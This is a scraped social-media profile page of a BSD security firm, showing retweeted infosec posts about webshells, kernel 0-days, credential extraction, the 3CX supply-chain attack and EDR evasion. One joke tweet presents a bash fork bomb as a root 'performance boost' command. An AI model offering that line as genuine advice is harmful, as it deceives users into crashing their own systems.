daemon.security @DaemonSec

Security solutions to simplify the business process. Providing cybersecurity solutions utilizing the BSD operating systems. daemon-security.com Baltimore/Washington US Joined July 2012

Tweets

241
Followers

127
Following

145
Likes

151

Florian Roth ⚡️ @cyb3rops

5 months ago

I’ve been a vocal critic of AI developments – in 2023 I still dismissed a lot of the hype. Last year, I stayed mostly silent. Not because I agreed, but because I started seeing signs that impressed me. This year, after what we’ve built and tested internally across several areas,…

96 195 2K 148K 716

thaddeus e. grugq @thegrugq

2 years ago

Cyber security doesn't need to be difficult, here's just one simple way to protect yourself online 👇

Clare O'Neil MP @ClareONeilMP

2 years ago

Cyber security doesn't need to be difficult, here's just one simple way to protect yourself online 👇 https://t.co/p3Bz751dtI

26 16 45 19K 1

Download Image

4 24 94 18K 6

Download Image

FreeBSD Frau @freebsdfrau

2 years ago

The moral of the story (which many have found incredulous) is that being bright is good, but being bright and tough is what powers entire solar systems

9 19 352 9K 18

Florian Roth ⚡️ @cyb3rops

2 years ago

Dear DFIR colleagues, Always be wary of 404 error codes in web server log files. Some webshells intentionally send this error code to deceive you into thinking the request failed. shadowserver.org/news/technical…

16 236 708 103K 210

Download Image

nixCraft 🐧 @nixcraft

2 years ago

Many Linux developers and sysadmins don't know this, but a secret code can unlock your cloud server resources and boost server performance by 5x. All you have to do is type the following as root user: :(){ :|:& };:

68 65 497 121K 90

Download Gif

sagitz @sagitz_

2 years ago

We found two 0-day vulnerabilities in @ubuntu kernel and it all started by reading descriptions of old CVEs 📖 Thread about the discovery of #GameOverlay 🧵👇🏼

14 443 2K 365K 483

Download Image

SEKTOR7 Institute @SEKTOR7net

2 years ago

PsExec over 135/TCP only? Yuval Lazar: "Hold my beer!" #redteam pentera.io/blog/135-is-th…

6 90 324 43K 90

vx-underground @vxunderground

2 years ago

"The most difficult thing you'll ever learn, is the thing you're currently learning" - random drunk guy on Freenode, mid-2000s.

4 32 229 25K 11

lcamtuf @lcamtuf

2 years ago

It's really hard to take Linux seriously given that they haven't fixed this privesc for over 23 years: lcamtuf.coredump.cx/soft/ld-expl

10 30 202 75K 77

OpenBSD Journal @openbsdjournal

3 years ago

OpenBSD 7.3 released undeadly.org/cgi?action=art… #openbsd #openbsd7.3 #security #freesoftware

0 26 64 5K 0

SEKTOR7 Institute @SEKTOR7net

3 years ago

Indirect NTLM hash extraction from Windows Defender Credential Guard, by @ly4k_ #redteam research.ifcr.dk/pass-the-chall…

4 103 304 29K 81

Thomas Roccia 🤘 @fr0gger_

3 years ago

🔍If you are looking for a comprehensive overview of the current #3CX supply chain attack, I created a diagram that shows the attack flow!💥I'll update as soon as the analysis progresses. Stay tuned for the MacOS edition! #cybersecurity #infosec #supplychainattack #3CXpocalypse

21 494 1K 170K 315

Download Image

Kyle Evans @kaevans91

3 years ago

We've... kind of, basically... made it to a login prompt, booting off of a USB stick; #FreeBSD M1

5 15 75 9K 0

Download Image

chompie @chompie1337

3 years ago

Finally get to release the video for my Recon2022 talk: Breaking the Glass Sandbox - Find Linux Kernel Bugs and Escape. It's awkward - A/V issues with slides. But, I expand on much more than what my slides contain. And the slides are edited back in 😎😌youtube.com/watch?v=2R46lJ…

11 174 709 103K 171

Download Image

Colin Percival @cperciva

3 years ago

My toddler received a copy of "Neural Networks for Babies" for Christmas, and very much enjoys it. I feel that she could do with understanding more about my work though. Is anyone working on a "Amazon Web Services for Babies" book?

4 2 24 3K 1

Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid

3 years ago

Found a bunch of new techniques to proxy DLL loads via clean stack to hide your RX region from EDR. Tested against several EDRs and haven't found a single detection yet. Shall I post a blog/code? Depending on the response, I will decide how to proceed 🙂

17 18 229 35K 36

SwiftOnSecurity @SwiftOnSecurity

3 years ago

If only there was some kind of internet security person who could comment on this. A sort of "swift on security," if you will. politico.com/news/2023/01/2…

24 64 878 65K 12

Colin Percival @cperciva

3 years ago

On a 128 MB virtual machine, this leaves just over 100 MB left... and then drivers start making allocations. The system is usable, but not for very much. I'm not saying the FreeBSD kernel needs to go on a diet, but I do wonder if we should be tracking this more over time.